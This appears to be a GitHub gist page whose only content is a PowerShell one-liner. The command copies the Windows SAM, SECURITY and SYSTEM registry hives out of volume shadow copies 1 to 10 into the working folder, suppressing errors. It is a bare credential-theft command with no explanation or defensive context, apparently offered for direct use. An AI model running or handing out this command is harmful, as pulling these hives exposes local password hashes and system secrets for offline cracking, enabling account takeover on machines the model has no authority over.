Skip to content

Instantly share code, notes, and snippets.

@puniaze
Created August 12, 2021 08:23
Show Gist options
  • Save puniaze/28156d22d1060d45939c873fcc477773 to your computer and use it in GitHub Desktop.
Save puniaze/28156d22d1060d45939c873fcc477773 to your computer and use it in GitHub Desktop.
powershell -c "foreach ($i in 1..10){$p='\\.\HarddiskVolumeShadowCopy{0}\windows\system32\config\' -f $i; gi $($p+'SAM'),$($p+'SECURITY'),$($p+'SYSTEM') -ErrorAction SilentlyContinue | % {cp $_.FullName $($_.BaseName+$i)}}"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment